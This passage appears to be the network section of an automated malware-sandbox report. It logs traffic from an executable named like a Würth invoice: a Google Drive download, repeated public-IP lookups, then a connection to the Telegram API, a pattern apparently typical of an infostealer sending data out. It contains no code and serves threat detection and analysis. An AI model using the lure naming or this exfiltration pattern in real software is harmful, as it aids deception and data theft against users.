Oct 18, 2024 15:05:03.842820883 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.845882893 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.845935106 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.845942974 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.845987082 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.846930027 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.846980095 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.846991062 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.847037077 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.849399090 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.849451065 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.849458933 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.849503994 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.850982904 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.851030111 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.851037979 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.851083994 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.852902889 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.852950096 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.852981091 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.853024960 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.855001926 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.855052948 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.855062008 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.855103970 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.856874943 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.856920004 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.856933117 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.856977940 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.859257936 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.859309912 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.859334946 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.859407902 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.860788107 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.860836983 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.860846996 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.860893011 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.863871098 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.863929033 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.863938093 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.863986969 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.864521980 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.864574909 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.864583015 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.864630938 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.866437912 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.868470907 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.868503094 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.868541956 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.868554115 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.868607044 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.868628979 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.870173931 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.872001886 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.872023106 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.872061968 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.872072935 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.872102976 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.872126102 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.890475035 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.890551090 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.890638113 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:05.141840935 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:05.146728992 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:05.146833897 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:05.146992922 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:05.151854992 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:07.949105024 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:07.954602957 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:08.179124117 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:08.185681105 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:08.185844898 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:08.192436934 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:08.192711115 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:08.471262932 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:08.522733927 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:08.903153896 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:08.903187990 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:08.903255939 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:08.905642033 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:08.905652046 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:09.534589052 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:09.534728050 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:09.563643932 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:09.563652039 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:09.563925982 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:09.568772078 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:09.611440897 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:09.706470013 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:09.706543922 CEST	443	49980	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:09.706605911 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:09.742670059 CEST	49980	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:09.776119947 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:09.780962944 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:10.058052063 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:10.063079119 CEST	49981	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:10.063113928 CEST	443	49981	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:10.063178062 CEST	49981	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:10.063632965 CEST	49981	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:10.063646078 CEST	443	49981	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:10.100837946 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:10.683737993 CEST	443	49981	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:10.686063051 CEST	49981	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:10.686078072 CEST	443	49981	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:10.826726913 CEST	443	49981	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:10.826833963 CEST	443	49981	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:10.827037096 CEST	49981	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:10.827438116 CEST	49981	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:10.830979109 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:10.832349062 CEST	49982	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:10.836098909 CEST	80	49967	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:10.836179018 CEST	49967	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:10.837174892 CEST	80	49982	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:10.837258101 CEST	49982	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:10.837328911 CEST	49982	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:10.842561960 CEST	80	49982	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:11.723584890 CEST	80	49982	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:11.724955082 CEST	49983	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:11.725006104 CEST	443	49983	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:11.725095034 CEST	49983	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:11.725338936 CEST	49983	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:11.725356102 CEST	443	49983	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:11.772839069 CEST	49982	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:12.376636982 CEST	443	49983	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:12.407593012 CEST	49983	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:12.407634020 CEST	443	49983	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:12.545381069 CEST	443	49983	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:12.545479059 CEST	443	49983	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:12.545531034 CEST	49983	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:12.553098917 CEST	49983	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:12.602847099 CEST	49984	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:12.607820034 CEST	80	49984	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:12.607928991 CEST	49984	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:12.630386114 CEST	49984	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:12.635449886 CEST	80	49984	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:14.558490992 CEST	80	49984	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:14.560645103 CEST	49985	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:14.560669899 CEST	443	49985	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:14.560929060 CEST	49985	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:14.561171055 CEST	49985	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:14.561182022 CEST	443	49985	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:14.601061106 CEST	49984	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:15.168509960 CEST	443	49985	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:15.170898914 CEST	49985	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:15.170922995 CEST	443	49985	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:15.314496040 CEST	443	49985	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:15.314589024 CEST	443	49985	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:15.314646006 CEST	49985	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:15.315320015 CEST	49985	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:15.589782953 CEST	49984	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:15.590976954 CEST	49986	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:15.595141888 CEST	80	49984	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:15.595206976 CEST	49984	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:15.595802069 CEST	80	49986	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:15.595879078 CEST	49986	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:15.596071959 CEST	49986	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:15.600971937 CEST	80	49986	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:16.489902020 CEST	80	49986	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:16.491928101 CEST	49987	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:16.491964102 CEST	443	49987	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:16.492079020 CEST	49987	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:16.492404938 CEST	49987	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:16.492420912 CEST	443	49987	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:16.538335085 CEST	49986	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:17.424092054 CEST	443	49987	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:17.426304102 CEST	49987	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:17.426323891 CEST	443	49987	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:17.798333883 CEST	443	49987	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:17.798566103 CEST	443	49987	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:17.798631907 CEST	49987	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:17.799014091 CEST	49987	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:17.810347080 CEST	49986	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:17.814100027 CEST	49988	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:17.822716951 CEST	80	49986	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:17.822776079 CEST	49986	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:17.823474884 CEST	80	49988	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:17.823544979 CEST	49988	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:17.823663950 CEST	49988	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:17.828823090 CEST	80	49988	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:19.962743998 CEST	80	49988	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:19.964509964 CEST	49989	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:19.964541912 CEST	443	49989	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:19.964662075 CEST	49989	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:19.964984894 CEST	49989	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:19.964998007 CEST	443	49989	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:20.007088900 CEST	49988	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:20.779366970 CEST	443	49989	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:20.781410933 CEST	49989	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:20.781431913 CEST	443	49989	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:20.958817005 CEST	443	49989	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:20.959100008 CEST	443	49989	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:20.959197998 CEST	49989	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:20.959881067 CEST	49989	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:20.964402914 CEST	49988	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:20.965045929 CEST	49990	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:20.973822117 CEST	80	49988	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:20.973840952 CEST	80	49990	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:20.973891973 CEST	49988	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:20.973942041 CEST	49990	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:20.974062920 CEST	49990	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:20.983479023 CEST	80	49990	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:21.974281073 CEST	80	49990	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:21.975977898 CEST	49991	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:21.976023912 CEST	443	49991	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:21.976094961 CEST	49991	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:21.976406097 CEST	49991	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:21.976427078 CEST	443	49991	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:22.022713900 CEST	49990	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:22.684431076 CEST	443	49991	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:22.686260939 CEST	49991	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:22.686300039 CEST	443	49991	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:22.880630970 CEST	443	49991	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:22.880742073 CEST	443	49991	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:22.880836964 CEST	49991	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:22.881529093 CEST	49991	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:22.885433912 CEST	49990	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:22.886750937 CEST	49992	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:22.902998924 CEST	80	49990	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:22.903181076 CEST	49990	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:22.904349089 CEST	80	49992	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:22.904438972 CEST	49992	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:22.904575109 CEST	49992	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:22.921282053 CEST	80	49992	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:24.015551090 CEST	80	49992	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:24.017221928 CEST	49993	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:24.017244101 CEST	443	49993	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:24.017358065 CEST	49993	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:24.017638922 CEST	49993	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:24.017652988 CEST	443	49993	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:24.069818020 CEST	49992	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:25.260061026 CEST	443	49993	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:25.262191057 CEST	49993	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:25.262219906 CEST	443	49993	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:25.419502020 CEST	443	49993	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:25.419594049 CEST	443	49993	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:25.419780970 CEST	49993	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:25.420392990 CEST	49993	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:25.423954010 CEST	49992	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:25.424985886 CEST	49994	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:25.429655075 CEST	80	49992	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:25.429765940 CEST	49992	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:25.430061102 CEST	80	49994	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:25.430290937 CEST	49994	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:25.430449009 CEST	49994	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:25.435950041 CEST	80	49994	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:26.748511076 CEST	80	49994	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:26.750102997 CEST	49995	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:26.750161886 CEST	443	49995	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:26.750247955 CEST	49995	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:26.750533104 CEST	49995	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:26.750561953 CEST	443	49995	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:26.804011106 CEST	49994	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:27.373378038 CEST	443	49995	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:27.375236988 CEST	49995	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:27.375319958 CEST	443	49995	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:27.534140110 CEST	443	49995	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:27.534224987 CEST	443	49995	188.114.96.3	192.168.2.5
Oct 18, 2024 15:05:27.534486055 CEST	49995	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:27.535212994 CEST	49995	443	192.168.2.5	188.114.96.3
Oct 18, 2024 15:05:27.573971033 CEST	49994	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:27.586345911 CEST	80	49994	132.226.8.169	192.168.2.5
Oct 18, 2024 15:05:27.586484909 CEST	49994	80	192.168.2.5	132.226.8.169
Oct 18, 2024 15:05:27.592796087 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:27.592824936 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:27.592962980 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:27.593458891 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:27.593472004 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:28.481832027 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:28.482064009 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:28.484045029 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:28.484066010 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:28.484328985 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:28.485780001 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:28.527409077 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:28.733714104 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:28.733781099 CEST	443	49996	149.154.167.220	192.168.2.5
Oct 18, 2024 15:05:28.733963013 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:28.739052057 CEST	49996	443	192.168.2.5	149.154.167.220
Oct 18, 2024 15:05:34.307156086 CEST	49982	80	192.168.2.5	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 15:04:58.163800001 CEST	62116	53	192.168.2.5	1.1.1.1
Oct 18, 2024 15:04:58.171426058 CEST	53	62116	1.1.1.1	192.168.2.5
Oct 18, 2024 15:04:59.676184893 CEST	52830	53	192.168.2.5	1.1.1.1
Oct 18, 2024 15:04:59.684029102 CEST	53	52830	1.1.1.1	192.168.2.5
Oct 18, 2024 15:05:05.130836010 CEST	58665	53	192.168.2.5	1.1.1.1
Oct 18, 2024 15:05:05.138017893 CEST	53	58665	1.1.1.1	192.168.2.5
Oct 18, 2024 15:05:08.894180059 CEST	60118	53	192.168.2.5	1.1.1.1
Oct 18, 2024 15:05:08.902473927 CEST	53	60118	1.1.1.1	192.168.2.5
Oct 18, 2024 15:05:27.574719906 CEST	63940	53	192.168.2.5	1.1.1.1
Oct 18, 2024 15:05:27.591919899 CEST	53	63940	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 18, 2024 15:04:58.163800001 CEST	192.168.2.5	1.1.1.1	0xdd99	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:59.676184893 CEST	192.168.2.5	1.1.1.1	0x7a04	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:05.130836010 CEST	192.168.2.5	1.1.1.1	0x9c3c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:08.894180059 CEST	192.168.2.5	1.1.1.1	0x84ec	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:27.574719906 CEST	192.168.2.5	1.1.1.1	0x9142	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 18, 2024 15:04:58.171426058 CEST	1.1.1.1	192.168.2.5	0xdd99	No error (0)	drive.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:59.684029102 CEST	1.1.1.1	192.168.2.5	0x7a04	No error (0)	drive.usercontent.google.com		216.58.206.65	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:05.138017893 CEST	1.1.1.1	192.168.2.5	0x9c3c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:05:05.138017893 CEST	1.1.1.1	192.168.2.5	0x9c3c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:05.138017893 CEST	1.1.1.1	192.168.2.5	0x9c3c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:05.138017893 CEST	1.1.1.1	192.168.2.5	0x9c3c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:05.138017893 CEST	1.1.1.1	192.168.2.5	0x9c3c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:05.138017893 CEST	1.1.1.1	192.168.2.5	0x9c3c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:08.902473927 CEST	1.1.1.1	192.168.2.5	0x84ec	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:08.902473927 CEST	1.1.1.1	192.168.2.5	0x84ec	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:05:27.591919899 CEST	1.1.1.1	192.168.2.5	0x9142	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49967	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:05.146992922 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
